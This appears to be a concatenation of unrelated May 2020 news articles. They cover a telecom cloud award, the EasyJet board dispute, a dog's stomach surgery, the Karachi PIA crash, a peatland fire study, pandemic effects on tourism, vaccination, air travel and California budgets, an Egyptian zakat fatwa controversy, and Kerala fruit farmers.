Vodafone Idea Limited claimed the top honors at the Red Hat Summit 2020, winning the Innovator of the Year title for orchestrating the vision of a single, universal cloud into reality. This win has been a recognition for Vodafone Ideas early adoption of emerging technologies for enterprise and retail customers, which has now lead to VIL owning the largest cloud deployment in India linking using open source infrastructure. This initiative will further help Vodafone Idea in reducing latency in carrying multiple workloads and optimizing costs.

As part of Red Hat Innovation Awards each year, a panel of industry expert judges select the top five winning projects from a pool of global nominations. These five projects are selected based on the set of criteria for outstanding and innovative usage of Red Hat solutions. From the five winners, the Red Hat Innovator of the Year is selected by the community through online voting.

Speaking on this achievement, Vishant Vora, Chief Technology Officer, Vodafone Idea said, A distributed universal cloud centrally orchestrated is an ambitious project for us, representing a vision for the telco future where pods could be geographically distributed across the country. Our vision is to build a universal cloud that will not only carry the traditional telco workloads but also carry IT and enterprise offerings for our customers. This will also position VIL very well for the nextGen services like IoT, Blockchain etc. These capabilities need to be accommodated with a versatile and scalable platform offering flexibility and control as an organization. We are extremely proud of receiving this prestigious award.

Vodafone Ideas universal cloud has been a unique boon in recent weeks where Indias population of 1.3 billion people has been in lockdown, dependent on network and communications support. Within a week of lockdown, Vodafone Idea had experienced a years worth of traffic growth. All of this has been possible through the large-scale deployment of cloud technologies that VIL has done over the past 18 months.

Chris Wright, senior vice president and chief technology officer, Red Hat, shared, We want to extend congratulations to Vodafone Idea Limited for receiving the 2020 Red Hat Innovator of the Year award. Vodafone Ideas journey in building a Universal Cloud, hosting both Network and IT workloads, based on open standards, is truly impressive. By adopting Red Hat OpenStack Platform, Vodafone Idea Limited and its customers can more quickly adapt to changing market conditions. We are proud to be working with Vodafone Idea Limited on this shared vision and we look forward to continuing our work with them as they look to build out additional offerings on this flexible platform.

Vodafone Idea took on the challenge of transforming its network to make it future ready and building a Universal Network Cloud that is workload agnostic from core to edge. It enables Vodafone Idea to better serve its more than 300 million subscribers by simplifying and transforming its IT and telecom network operations. The new platform is deployed across many distributed Vodafone Idea cloud microsites across India, as well as its central IT operations.
EasyJet founder Sir Stelios Haji-Ioannou failed in his bid to oust senior management figures from the airline

Sir Stelios Haji-Ioannou, the founder of budget airline EasyJet, has failed to expel prominent management officials from the company over a large order for new Airbus planes.

Since the coronavirus pandemic brought air travel to a halt and forced EasyJet to ground its fleet, the airline has faced an additional headache as Haji-Ioannou stepped up his public campaign, calling on management to scrap the 4.5billion order for 107 new jets.

He called for the shareholder vote on April 27 over his opposition to the plane order, which is the latest clash in a decade-long dispute with management. Earlier in April, the businessman threatened the board by saying he would 'sue those scoundrels' if the aircraft order took place.

Among those that he sought to remove were the firm's chairman John Barton, chief executive Johan Lundgren, chief financial officer Andrew Findlay, and independent non-executive director Andreas Bierwirth.

'Based on the proxy votes lodged with our registrar before the meeting, we expect all four resolutions put to the meeting to be defeated,' Barton remarked.

Sir Stelios did call for EasyJet's chairman and chief executive to step down last month, after accusing them of running an 'aircraft parking lot' while spending a 'shedload of cash' on new planes

'I'd like to thank the shareholders for showing this extraordinary support for the management of this company. I believe the board's judgment and guidance will position well for the challenges the aviation industry undoubtedly faces in the years ahead.'

The vote was expected to be close, although EasyJet's CEO claims he spoke to numerous shareholders at the weekend, none of whom declared their support for Athens-born Sir Stelios, who also founded the EasyGroup holding company.

The Monaco-based billionaire, whose family owns around a third of EasyJet's stock, believes the airline is risking bankruptcy by going ahead with the Airbus order, pitting him against current management.

Yesterday, EasyJet stated that it would resume domestic flights along with a number of routes to France and Spain from the middle of next month

He initially called for the chairman and chief executive to step down last month, after accusing them of running an 'aircraft parking lot' while spending a 'shedload of cash' on new planes.

To try and scupper the deal, Sir Stelios even offered a 5million reward to anybody who could show that the order was beset with impropriety. EasyJet's board strenuously denies any misdeeds involved in the transaction.

Management says that the new planes are needed to replace ageing jets and that the company is financially able to cope with the ongoing travel slump.

Six weeks ago, the company did announce that it would have deliveries of 24 of the aircraft deferred as part of its' focus on maximising liquidity in the event of an extended grounding period.'

Yesterday, EasyJet stated that it would resume domestic flights along with a number of routes to France and Spain from the middle of next month. Passengers and crew will also be required to wear face masks while flying.

Shares in the airline fell 1.3 per cent to 567.6p by lunchtime today.
Kronk the Staffordshire terrier has had an eventful trip to the vet after doctors pulled out dozens of items from his stomach.

His shocked owner will be making sure to keep loose items out of the hungry pup's reach after it was revealed he had chomped down on 31 hair ties, two twist ties, two earrings, and 1.5 metres of string.

Surgeons at the Plaza Circle Veterinary Surgery Highfields, in Queensland, said the canine had broken their record for 'the largest number of silly things eaten by a dog'.

Kronk the Staffordshire terrier has had an eventful trip to the vet after doctors pulled out thirty-one hair ties and other items from his stomach

The items pulled from Kronk's stomach, his owners had not even realised he had gotten into drawers

The puppy underwent a 'tremendously tense and involved surgery, and an extended stay in hospital as we supervised his recovery with bated breath,' the surgery posted to their Facebook page on Friday.

'We're so pleased to say that Kronk has returned home and is once again his happy self, and now with no access to the bathroom drawers!'

Dr Emma Swan, who performed the surgery, told Daily Mail Australia she has known the 'adorable' and 'energetic' puppy since he was a few days old and knew something was wrong when he arrived at the surgery in low spirits.

'I've never encountered this number of things before. I remove single items quite regularly - macadamias, balls, socks, and we have a cat who repeatedly eats Nerf bullets, but this was a total surprise,' Dr Swan said.

She said Kronk's owners had not even realised he had gotten into drawers.

'I called them and said 'firstly he's made it through surgery and secondly are you missing 31 hair loops?' She was in total shock.'

Dr Swan said the owners were now thinking of cutting their children's hair to avoid having hair ties in the house.

Kronk went back the the veterinary practice on Friday for a checkup with Dr Swan saying he seems to have managed to kick his hair tie addiction.
Rescue and relief operations underway in the residential colony where the Pakistan passenger flight crashed in Karachi. (Image: ANI)

A Pakistan International Airlines (PIA) flight from Lahore to Karachi with nearly 100 people on board has crashed near the Karachi border.

According to reports in Pakistani media, the PIA Airbus A320 carrying 90 passengers and eight crew members crash-landed into the Jinnah housing society located near the airport.

Flight PK-8303 from Lahore was about to land in Karachi when it crashed at the Jinnah Garden area near Model Colony in Malir, just a minute before its landing, a spokesperson of the national airline has said.

"The captain informed the air traffic tower he having problems with the landing gear before disappearing from the radar," the spokesperson told PTI.

The Pakistan Army Quick Reaction Force and Pakistan Rangers Sindh troops reached incident site for relief and rescue efforts alongside civil administration, the spokesperson of the Pakistan Armed Forces has tweeted.

Pictures and videos shared on social media show thick, black smoke engulfing the residential colony where the flight is said to have crashed.



Shocked & saddened by the PIA crash. Am in touch with PIA CEO Arshad Malik, who has left for Karachi & with the rescue & relief teams on ground as this is the priority right now. Immediate inquiry will be instituted. Prayers & condolences go to families of the deceased.

 Imran Khan (@ImranKhanPTI) May 22, 2020

Pakistan Prime Minister Imran Khan, in a tweet, said that he was "shocked and saddened" by the PIA plane crash. He said that rescue and relief is the priority and that an inquiry will be instituted into the incident.

Live footage from television channels showed several houses and cars damaged in the society where the aircraft crashed.

Rescue and police officials confirmed that at least four bodies have been recovered from damaged houses so far while several injured people were also being taken to hospitals.

"It is too early to say how many people have died in this tragic accident but... it will be a miracle if the passengers and crew members have survived this horrible landing," a senior police official told PTI on the condition of anonymity.

This is the first major aircraft crash in Pakistan after December 7, 2016 when a PIA ATR-42 aircraft from Chitral to Islamabad crashed midway. The crash claimed the lives of all 48 passengers and crew.
Low-severity fires enhance long-term carbon retention of peatlands

DURHAM, N.C. -- High-intensity fires can destroy peat bogs and cause them to emit huge amounts of their stored carbon into the atmosphere as greenhouse gases, but a new Duke University study finds low-severity fires spark the opposite outcome.

The smaller fires help protect the stored carbon and enhance the peatlands' long-term storage of it.

The flash heating of moist peat during less severe surface fires chemically alters the exterior of clumped soil particles and "essentially creates a crust that makes it difficult for microbes to reach the organic matter inside," said Neal Flanagan, visiting assistant professor at the Duke Wetland Center and Duke's Nicholas School of the Environment.

This reaction -- which Flanagan calls "the creme brulee effect" -- shields the fire-affected peat from decay. Over time, this protective barrier helps slow the rate at which a peatland's stored carbon is released back into the environment as climate-warming carbon dioxide and methane, even during periods of extreme drought.

By documenting this effect on peatland soils from Minnesota to Peru, "this study demonstrates the vital and nuanced, but still largely overlooked, role fire plays in preserving peat across a wide latitudinal gradient, from the hemi-boreal zone to the tropics," said Curtis J. Richardson, director of the Duke Wetland Center.

"This is the first time any study has been able to show that," Richardson said, "and it has important implications for the beneficial use of low-severity fire in managing peatlands, especially at a time of increasing wildfires and droughts."

The researchers published their peer-reviewed findings May 10 in the journal Global Change Biology.

Peatlands are wetlands that cover only 3% of Earth's land but store one-third of the planet's total soil carbon. Left undisturbed, they can lock away carbon in their organic soil for millennia due to natural antimicrobial compounds called phenolics and aromatics that earlier studies by the Duke team have shown can prevent even drier peat from decaying. If a smoldering, high-intensity fire or other major disturbance destroys this natural protection, however, they can quickly turn from carbon sinks to carbon sources.

To conduct the new study, Flanagan and his colleagues at the Duke Wetland Center monitored a U.S. Fish and Wildlife Service proscribed burn of a peatland pocosin, or shrub-covered wetland bog, at Pocosin Lakes National Wildlife Refuge in eastern North Carolina in 2015. Using field sensors, they measured the changing intensity of the fire over its duration and the effects it had on soil moisture, surface temperatures and plant cover. They also did chemical analyses of soil organic matter samples collected before and after the fire.

They then replicated the intensity and duration of the N.C. fire, which briefly reached temperatures of 850oF, in controlled laboratory tests on soil from peatlands in Minnesota, Florida and the Amazon basin of Peru, and analyzed the burn samples using using X?ray photoelectron spectroscopy and Fourier transform infrared spectroscopy.

The analysis showed that the low-severity fires increased the degree of carbon condensation and aromatization in the soil samples, particularly those collected from the peatlands' surface. In other words, the researchers saw the "creme brulee effect" in samples from each of the latitudes.

Long-term laboratory incubations of the burnt samples showed lower cumulative CO2 emissions coming from the peat for more than 1-3 years after the tests.

"Initially, there was some loss of carbon, but long-term you easily offset that because there's also reduced respiration by the microbes that promote decay, so the peat is decomposing at a much slower rate," Flanagan said.

Globally, peatlands contain approximately 560 gigatons of stored carbon. That's the same amount that is stored in all forests and nearly as much as the 597 gigatons found in the atmosphere.

"Improving the way we manage and preserve peatlands is critical given their importance in Earth's carbon budget and the way climate change is altering natural fire regimes worldwide," Richardson said, "This study reminds us that fire is not just a destructive anomaly in peatlands, it can also be a beneficial part of their ecology that has a positive influence on their carbon accretion."

Flanagan and Richardson conducted the study with fellow Duke Wetland Center researchers Hongjun Wang and Scott Winton. Winton also holds appointments at ETH Zurich's Institute of Biogeochemistry and Pollutant Dynamics and the Swiss Federal Institute of Aquatic Science and Technology.

###

Primary funding came from the U.S. Department of Energy Office of Science's Terrestrial Ecosystem Sciences division (grant #DE-SC0012272). Additional support came from the Duke University Wetland Center Endowment and the Duke University Shared Materials Instrumentation Facility.

CITATION: "Low-Severity Fire as a Mechanism of Organic Matter Protection in Global Peatlands: Thermal Alteration Slows Decomposition," Neal E. Flanagan, Hongjun Wang, Scott Winton and Curtis J. Richardson; May 10, 2020, Global Chang Biology. DOI: 10.1111/gcb.15102

This story has been published on: 2020-05-22. To contact the author, please use the contact details within the article.
(Bloomberg Opinion) -- The coronavirus recovery is in trouble before it even begins. As swiftly as the lockdowns across Asia were imposed, the process of lifting them will be slow and uneven. That means the region is months, if not years, away from any semblance of normal.

Plans for full and partial reopenings in Australia, Singapore and Thailand sound reasonable in theory, but they wont deliver the hoped-for economic bounce. These countries, deeply reliant on trade and tourism, remain largely closed to the outside world. Domestic consumers, buffeted by layoffs and wage cuts, are in poor shape to pick up the slack. Bankruptcies in Singapore were climbing even before the most stringent virus-suppression efforts.

In Australia, social engagements can resume and businesses can open their doors. Yet the country is bereft of foreign tourists, new international students and immigrants  and it was workers from abroad who helped drive the 28-year boom that preceded the pandemic. The lockdown has essentially set Australia back four decades, just before Paul Hogan starred in the Crocodile Dundee movies, as Bloomberg News's Michael Heath wrote. That era saw a boost in tourism and freer capital markets, with moves to float the local dollar and lower tariffs.

Politicians say raising the drawbridge isn't a big deal; domestic spending can make up the difference. Aussies will vacation closer to home. You can simply luxuriate in tropical Queensland resorts instead of the Maldives. But this is a big country with relatively expensive domestic air travel (one of two major carriers just collapsed amid the shutdown). With the jobless rate likely to climb to 10% soon, according to the central bank, any splurge seems frivolous. You can't just plug a labor market back in after cutting the cord.

In Singapore, core economic sectors  tourism, lodging and conventions  will be among the last to restart. The government unveiled Tuesday a phased reopening after two months of lockdown. From June 2, schools will gradually welcome back students, limited family visits can occur and many businesses that don't interact with the public can resume. Large corporate gatherings, as well as sporting and cultural events, are on hold. Some activities will be shelved until a vaccine is found, or Covid-19 is no longer deemed a risk.

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Officials in the city-state say they are prioritizing safety and want to avoid a second wave that will further retard the recovery. While the concern is entirely justified, it comes at a cost: Singapore attracted 19.1 million visitors last year, more than three times its population. Tourism makes up about 4% of GDP, and supports a substantial hotel industry and retail scene. Yet Singapore Airlines Ltd.s fleet remains mothballed. All this adds up to a grim economic outlook: Gross domestic product will shrink 8.5% this year, Citigroup Inc. predicted.

The state of the travel industry makes optimism about Thailands prospects all the more puzzling. Wagers on an appreciation of its currency, the baht, appear anchored in the idea of tourists returning. With most borders shut and big economies plagued by historic levels of unemployment, where are these visitors going to come from?

While caution is understandable, these awakenings dont inspire confidence in a long and robust recovery. Global GDP will jump an annualized 37% in July to September after diving in the current quarter, says JPMorgan Chase & Co. Economies are nevertheless unlikely to regain their pre-Covid form anytime soon, and even less likely to do so uniformly. Along with variation in the peak of containment polices, there has been equally large variation in the degree to which countries are now reversing these measures, Joseph Lupton, the banks global economist in New York, wrote this week. In an effort to crank up the flow of people, countries are exploring green lanes that would prioritize visitors from nations seen to have had success tamping down the virus. That sets a low bar, and would be a step toward restoring tourism and business travel. But its a far cry from status-quo ante. Much of Asia rose from agricultural backwaters to urbanized hubs for manufacturing and services because they embraced globalization. An Asia disconnected from the world would be a major step back.

This column does not necessarily reflect the opinion of the editorial board or Bloomberg LP and its owners.

Daniel Moss is a Bloomberg Opinion columnist covering Asian economies. Previously he was executive editor of Bloomberg News for global economics, and has led teams in Asia, Europe and North America.

For more articles like this, please visit us at bloomberg.com/opinion

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2020 Bloomberg L.P.
The cities of Seaside and Cannon Beach are set to reopen hotels and other lodging, but are waiting until after Memorial Day weekend to once again welcome visitors.

Hotels and short-term rentals will reopen in both Seaside and Cannon Beach on Tuesday, May 26, allowing the coastal cities to avoid an onslaught of visitors during the holiday weekend.

The hotels have been shut down since March due to the coronavirus outbreak.

But Clatsop County was approved to move into Phase 1 of Oregon Gov. Kate Browns reopening plan on May 15, paving the way for many businesses to resume operations.

The Seaside City Council voted 5-1 in favor of reopening lodging during a special city council meeting Wednesday night.

Seasides vote came after the Cannon Beach City Council decided on May 15 to rescind restrictions on lodging beginning May 26. Members of the Seaside City Council felt that it would make the most sense to reopen the same day as Cannon Beach to ensure that there was lodging in multiple communities when visitors arrived.

Seasides decision to reopen hotels came two days after the Seaside City Council announced that it would reopen its beaches May 18. Its beaches had been closed to the public since March 23.

-- Jamie Goldberg | jgoldberg@oregonian.com | @jamiebgoldberg

Subscribe to Oregonian/OregonLive newsletters and podcasts for the latest news and top stories.
Source: Xinhua| 2020-05-22 22:24:51|Editor: huaxia

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by Abdul Haleem, Chen Xin

KABUL, May 22 (Xinhua) -- Afghan political analysts on Friday spoke highly of China's role in fighting the COVID-19 pandemic.

Congratulating China on its success in the fight against COVID-19, Afghan expert Shamsul Haq Arianfar said the fact that China was able to control the spread of the disease successfully, and that's why the COVID-19 death rate in the country is much lower than in many other countries.

China's technical and medical support, and the transfer of its experiences in the battle against the disease in particular, could help Afghanistan to curb the virus's spread, said Arianfar.

The U.S. accusation of China for allegedly exporting COVID-19 is ridiculous, said the Afghan expert, adding that the motive behind Washington's allegations is to discourage companies' investment in China.

Noting that the COVID-19 pandemic has undermined economic growth in almost all countries, including the United States, European countries and China, Arianfar said "China's timely control over the disease has helped the country to escape economic losses," while expressing optimism over China's economic recovery in the next few months.

Mansoor Faizy, editor-in-chief of the Afghan Times, thanked China for sending several batches of medical supplies to Afghanistan over the past few months to assist in the country's COVID-19 fight.

The Chinese embassy in Afghanistan handed over a batch of food assistance to Afghanistan on Thursday to help the needy people celebrate Eid al-Fitr, which marks the end of the fasting month Ramadan.

The food aid from China included cooking oil and rice, which were much-needed supplies for the impoverished population in the war-torn country, especially at a time when the fight against COVID-19 has forced many to stay at home.

This is the fourth batch of assistance China has provided to Afghanistan since the outbreak of COVID-19 in the country in February.

Afghanistan on Friday reported 542 new confirmed COVID-19 cases, bringing the total tally in the country to 9,216, according to the Ministry of Public Health.

A total of 205 deaths have been recorded since February, including 12 deaths within the past 24 hours, said the ministry. Enditem
vaccine

Getty Images/Jeff J Mitchell

Routine vaccination efforts have been halted in at least 68 countries.

80 million children under the age of one are at risk of getting deadly-but-preventable diseases like measles, polio and diptheria.

The transport of vaccines has been delayed due to the pandemic, and UNICEF is begging governments and the airline industry for help.

Visit Business Insider's homepage for more stories.

The COVID-19 pandemic has quickly erased years of international work around promoting routine vaccinations for children, warned the World Health Organization and UNICEF on Friday.

The agencies have joined forces to warn the public that 80 million children under the age of one are newly vulnerable to deadly-but-preventable diseases like measles, polio and diptheria.

As of May 15, 27 countries had postponed measles vaccination campaigns, 38 countries had postponed polio vaccine campaigns, and numerous other countries had postponed vaccination campaigns for diseases like yellow fever, cholera, and typhoid.

An analysis showed that out of 129 countries where immunization data was available, vaccination services have been paused in at least 68 countries. 53% of the countries reported moderate-to-severe disruptions, or a total halt of vaccinations.

"Immunization is one of the most powerful and fundamental disease prevention tools in the history of public health," said WHO Director-General Dr Tedros Adhanom Ghebreyesus in a press release. "Disruption to immunization programmes from the COVID-19 pandemic threatens to unwind decades of progress against vaccine-preventable diseases like measles."

In wealthier countries, where residents have private insurance, children are vaccinated by their physicans during pre-made appointments. But in lower-income countries, like Cambodia and Nigeria, mass vaccinations are common. Children are brought to public areas like churches, schools, and marketplaces, where they stand in a line and wait to be vaccinated. With these programs paused, many children will not be vaccinated.

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A medical worker prepares a measles vaccine on September 10, 2019 in Auckland, New Zealand.

Fiona Goodall/Getty Images

This is the biggest drop in vaccine rates the world has seen since widespread immunizations began

Since the 70s, when many of these immunization programs began, this is the largest interruption of vaccination services there has ever been.

These lowered vaccination rates are due in part due to parents not wanting to leave home. Social distancing and shelter-in-place measures have been put in place around the world to limit the spread of the novel coronavirus.

Other factors are at play, too, including the overworked healthcare system, with nurses and doctors re-deployed to other areas of medicine to help treat patients with COVID-19, the disease caused by the coronavirus.

A lack of masks and other protective gear for healthcare workers means many are not able to treat non-COVID-19 patients, saving the gear for emergencies.

Even if they were able, travel restrictions limit families' abilities to go to a vaccination site or doctor's office.

"This is really alarming data that we're announcing today, putting numbers on the fact that we've been grappling with for months now," Seth Berkley, of the Vaccine Alliance, said in a WHO press conference on May 22. "The scale of the impact of COVID-19 is having on global immunization programs is something we haven't seen really in a lifetime."

Vaccine shipments are being delayed by the pandemic

With less commercial flights and limited charter flights available, there's been a large backlog in vaccine shipments. After March 22, UNICEF saw a 70% - 80% reduction in vaccine shipments, as the cost of shipping the vaccines went up at least 100% above normal rates.

"UNICEF is appealing to governments, the private sector, the airline industry, and others, to free up freight space at an affordable cost for these life-saving vaccines," UNICEF spokesperson Marixie Mercado said in a press conference. "Children's lives are at stake."

Campaigns to wipe polio and measles from the face of the earth had been nearing success. World health organizations had nearly achieved their goal, getting vaccinations to countries like Pakistan and Afghanistan.

"We cannot exchange one deadly outbreak for another," Henrietta Fore, of UNICEF, said at the May 22 WHO press conference. "We cannot afford to lose decades of health gains that everyone has worked so hard to achieve."

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I live in a foreign country; should I give zakat to non-Muslims?

The question was posed by a Muslim man in a Q&A video session livestreamed on Dar al-Ifta's Facebook page May 12. The cleric hosting the session, which was later deleted, replied that the annual alms required under Islam should only be given to Muslims, while "sadaqah," a less formal type of Islamic charity, can be given to non-Muslims.

Zakat is one of the five pillars of worship in Islam. Muslims are required to pay alms each year (2.5% of their wealth or savings, including gold and jewelry) to those the Quran designates as being deserving of zakat. Sadaqah, meanwhile, refers to charity in general and unlike zakat is not compulsory, the only restriction being that it must come from lawful gains. In the early days of Islam, the words were synonymous.

The clerics response, published in a video on the pro-government Youm7 website and later removed, sparked controversy on Egyptian social media and an outcry from Coptic Christians.

It is catastrophic that 'non-Muslims' are among those paying the salaries of the clerics who make such statements, with their taxes. We don't just have hate speech, we also fund it, lamented one Twitter user.

Many Muslims were also alarmed by the discriminatory fatwa and expressed their opposition on social media.

Before giving alms to a hungry child on the street, does one ask about his or her faith? asked Facebook user Ahmed Roushdy.

To the surprise of many, the video containing the sheikh's response was removed from Dar al-Ifta's official Facebook page two days later (May 14) and was replaced by a new fatwa contradicting the previous edict.

Zakat is permissible for non-Muslims who are in need of medical treatment or protection from the coronavirus and other diseases and to allow them to fulfill their basic needs, declared the new fatwa, which according to Dar al-Ifta was based on a verse on zakat from the Quran that does not differentiate between Muslims and non-Muslims.

Dar al-Ifta did not specify which Quranic verse it was referring to, but Surah al-Tawbah defines those eligible to receive zakat as the poor and the needy, those authorized to collect zakat funds, newcomers to Islam, those in slavery or in debt, those who fight for Allah's cause and travelers who are cut off or in need of assistance. The verse does not specify the faith of the designated beneficiaries.

It is also rooted in the example set by Omar Ibn el-Khattab, who gave zakat to needy non-Muslim citizens, read the Dar al-Ifta statement in reference to the Prophet Muhammad's senior companion, revered by Sunni Muslims as a virtuous ruler.

Liberal activists hailed the new fatwa as a victory for secularists in the conservative society.

It indicates that secular voices have become a powerful force and are able to pressure Dar al-Ifta to withdraw a discriminatory edict despite the fact that there is a consensus among all [Islamic schools of thought] on the fatwa, wrote Facebook user Hany Emara.

The distinction has been made before. Former Mufti Ali Gomaa said in a 2017 televised Friday prayer sermon, "Zakat can only be given to Muslims, whereas sadaqah can be given to both Muslims and non-Muslims, whether rich or poor.

Asked by Al-Monitor about the mixed messages on zakat, the Dar al-Ifta cleric who responded on the hotline denied that Gomaa had restricted zakat to Muslim recipients.

The controversy stirred by the fatwa came amid heated arguments between liberals and conservatives on social media on whether Muslims should pray for mercy for non-Muslims after news broke of the May 12 death of popular Egyptian comedian Ibrahim Nasr. Fans shared thoughts and prayers for him on social media only to face a backlash from conservatives, displeased with the outpouring of grief for the Christian actor.

One internet user expressed his disdain on Twitter, writing, It is forbidden to ask for forgiveness and pray for God's mercy for someone who died as a non-Muslim. He continued, "Nasr was Christian, so how could you seek forgiveness and mercy for him?

Some of the online comments mirrored a disturbing groundswell of intolerance toward Coptic Christians, who make up 12% to 15% of the population. Egypt's Orthodox Christians often complain of marginalization and even persecution in the predominantly Muslim society. Growing religious intolerance has translated into a surge in sectarian violence against Copts in recent years. Hundreds of them have been killed in sectarian clashes or church attacks since the 2011 uprising against former President Hosni Mubarak. An unknown number of others have had to flee their villages after their homes or businesses were ransacked by extremists.

It is against this backdrop of discrimination that rights advocates like Youssef Sidhom, editor-in-chief of Egypt's only Christian newspaper Watani, are hoping for Egypt's transformation from a society that closely identifies with religious institutions to a modern, civil state with diminished religious authority, Sidhom told Al-Monitor.

Khaled Montasser, who writes for the independent Al-Watan portal and is an outspoken critic of political Islam, voiced his concerns and reiterated Sidhom's call for a non-religious state.

Egyptians who took to the streets on June 30, 2013, to protest Muslim Brotherhood rule were also protesting against mixing religion and politics. While there were no banners calling for secularism, there was general consensus among the protesters on a modern, civil state, Montasser told Al-Monitor.

Since the ouster of President Mohammed Morsi, there has been an ongoing tug-of-war between the ruling authorities and religious institutions. The conflict escalated in February 2017, when President Abdel Fattah al-Sisi called for banning verbal divorce, a call that was met with strident rejection from Al-Azhar's Committee of Senior Clerics. They insisted that religious affairs be left to the clerics knowledgable of Islamic law.

The fact that the 2014 Egyptian Constitution grants Al-Azhar full independence and stipulates that the grand sheikh cannot be dismissed has given religious institutions leeway to exercise their control on society, lamented Montasser.


For years, travelers have gotten used to low-cost flying on planes filled with passengers. But, like everything else, the coronavirus will change their expectations.

Feng Xueli from Beijing took a flight within China recently. The airplane was full because it was permitted under Chinese rules.

We needed to wear a mask during the flight, he said. You also need to go through a lot of temperature checks and security checks when you leave the airport.

Travelers, airlines and airports are dealing with the different rules put in place during the pandemic. The rules are different in almost every country.

In Thailand, you cannot have food or water on the airplane and you must wear a mask. In Malaysia and Indonesia, the plane needs to be half-empty. In the United States and Europe, airlines are not required to leave the middle seat open. This means passengers cannot keep social distance.

Subhas Menon is head of the Association of Asia Pacific Airlines. He said that it is not going to be easy to travel because of all of the measures that are going to be introduced.

The last time there were big changes in air travel was due to the 2001 attacks in the United States. Travelers understood the security requirements that came after 9/11, said Boeing vice-president Mike Delaney. He added that international airlines need to work together to decide on the new rules for flying.

Airline service is changing too.

Business class meals were once a reason to pay for the higher level of service. Now, those meals are not much better than economy class as airlines such as Emirates, Air Canada, and British Airways cut costs. And Qantas Airways now ask passengers to check in online to limit contact with employees and other fliers.

Empty Middle Seat?

On the airplane, one of the biggest questions has been whether the middle seat should be empty.

That means airlines would only fill 65 percent of the seats on a plane with passengers - not enough to make money without increasing the cost of the seats.

Afif Zakwan recently took a Malaysia Airlines flight within the country that was not required to fly half-empty. He said he was not worried while on a short, in-country flight, but he would not fly internationally for now.

Some nations are setting rules just for airlines registered in their country, while others are setting them for all international airlines.

U.S. airlines are among those requiring passengers and crew to wear masks. They have also said they will make temperature checks.

In Europe, airlines mostly decided not to leave the middle seat empty. But they have made other changes they hope will keep passengers from worrying about coronavirus.

It is hard to social distance on an airplane, Finnair Chief Executive Topi Manner told Reuters. He added that health risks can be lowered by requiring passengers to wear masks.

Im Susan Shand.

The Reuters News Agency reported this story. Susan Shand adapted it for Learning English. Hai Do was the editor.

_________________________________________________________________

Words in This Story

mask  n. a clothe that covers the mouth and nose to prevent spreading disease

pandemic  n. a contagious illness that spreads from one country to another

introduce  v. to bring in something or someone new
SACRAMENTO  Gov. Gavin Newsom is facing growing resistance from the Legislature to his strategy for emergency spending on the coronavirus pandemic, just as he is seeking billions of dollars more to shore up the states response.

At an Assembly hearing Friday to review $4.4 billion in additional funding requests from the Newsom administration, lawmakers from both parties expressed frustration that the governor has largely sidelined the Legislature during the pandemic.

The way legislative notification has gone in the past is, Everythings done. Were going to be announcing this and were giving you 10 minutes advance notice, said Assemblyman Phil Ting, the San Francisco Democrat who oversees the budget process in the Assembly. What is the point of a Legislature if were like the public watching TV to get information? It doesnt feel very democratic to me.

Newsoms Department of Finance notified legislative leaders Thursday evening that it was moving another $1.8 billion into an emergency response fund, primarily to continue buying personal protective equipment for medical workers and other frontline employees.

The governor also proposed $1.5 billion in his recent budget plan for equipment purchases, hospital beds to be reserved in case of a surge of patients, and a statewide testing and contact tracing program in the next fiscal year. Newsom is also seeking a $2.9 billion contingency fund that he could tap during a potential second wave of infections in the fall while the Legislature is in recess.

That would bring state spending on coronavirus response up to as much as $8.6 billion, three-quarters of which the Finance Department said would be reimbursed by the federal government because California received an emergency declaration.

The Legislature has just three weeks to pass a budget by a constitutionally mandated deadline of June 15 or forgo its pay.

Lawmakers said Friday they were concerned that the executive branch was infringing on their authority to make spending decisions for the state and had not provided enough information about how it was using emergency funds, fraying trust with the governor.

Ting lambasted the Newsom administration for showing a disdain to properly communicate with the Legislature. He said the new funding requests, which would allow the governor to decide how the money is spent with just a few days notice to the Legislature, represented a huge overreach of authority.

In every legislator that Ive talked to, theres a significant amount of concern about the future of this process, Ting said.

His comments amplified a simmering tension at the Capitol as the Legislature, which recently returned from a nearly two-month emergency recess, tries to wrest back some control over how the state is managing the coronavirus pandemic.

State Sen. Holly Mitchell, D-Los Angeles, the Senate budget chair, said Monday that the governors budget proposal did not give legislators enough of a say in how pandemic money would be spent. Two Republican assemblymen also introduced a long-shot resolution this week to terminate Newsoms state of emergency declaration.

Finance officials said at the Assembly budget hearing that they consistently briefed legislative staffers ahead of announcing major purchases.

The one exception was a controversial contract with the Chinese manufacturer BYD to buy 300 million N95 respirator masks and 100 million surgical masks for nearly $1 billion, Finance Department spokesman H.D. Palmer wrote in an email to The Chronicle. Newsom announced that deal on MSNBCs The Rachel Maddow Show.

That was an outlier in the sense that we had an immediate need to secure a reliable and ongoing supply of PPE at the outset of the pandemic for public health workers and front-line responders, Palmer said.

The BYD deal has been deeply troubled. Although California paid $495 million upfront upon reaching the agreement in April, the company has not been able to deliver any of the N95 masks. Federal regulators with the National Institute for Occupational Safety and Health rejected certification for the respirators last month, leading California to claw back half the initial payment.

Under a renegotiated contract, BYD must obtain certification for the N95 masks by May 31 or refund the rest of the states $495 million prepayment.

We are in very, very close contact with NIOSH and keeping tabs on this, Christina Curry, chief deputy director for the California Governors Office of Emergency Services, told lawmakers Friday.

Alexei Koseff is a San Francisco Chronicle staff writer. Email: alexei.koseff@sfchronicle.com Twitter: @akoseff
Manoj Viswanathan And Anu Kuruvilla By

Express News Service

KOCHI: The two-month-long lockdown has taught farmers in Vattavada, the vegetable bowl of Kerala, to turn challenges into opportunities. With no customer or middleman visiting the hills, a farmers collective in Vattavada has been reaching out to the residents associations in Kochi for the past one month. While the city residence get fresh fruits delivered at their doorstep, the farmers get better income by avoiding middlemen.

And the result has been encouraging. As fresh strawberries, plums and passion fruits became a hit among the customers, the farmers are struggling to meet the growing demand. We have been delivering fruits to residents associations at Tripunithura, Kakkanad, Thevara and Kaloor for the past one month. Fruits like strawberry and plums are highly perishable and we bring it to the city in a car. The response has been overwhelming and we are struggling to meet the demand, said Abraham Jose, a farmer.

The strawberry is harvested every three days and I get a yield of around 25kg. There are 10 farmers in our group and we deliver around 100kg of strawberry in one trip. We have now started collecting the produce from 13 tribal farmers to meet the demand, he said. According to Abraham, the fuel expense for a single trip itself comes to Rs 3,000. Though travelling to Kochi is taxing, we are happy that our produce is not getting wasted, he said.

Kanthalloor finds going tough

Unlike Vattavada farmers, fruit cultivators in Kanthalloor, another hamlet in Munnar, are finding the going tough. Tonnes of blackberries, strawberries, plums and other exotic fruits are rotting in the orchards for want of buyers. Lockdown has hit has hard, said M M Abbas, one of the owners of Winter Green Farm at Kanthalloor.

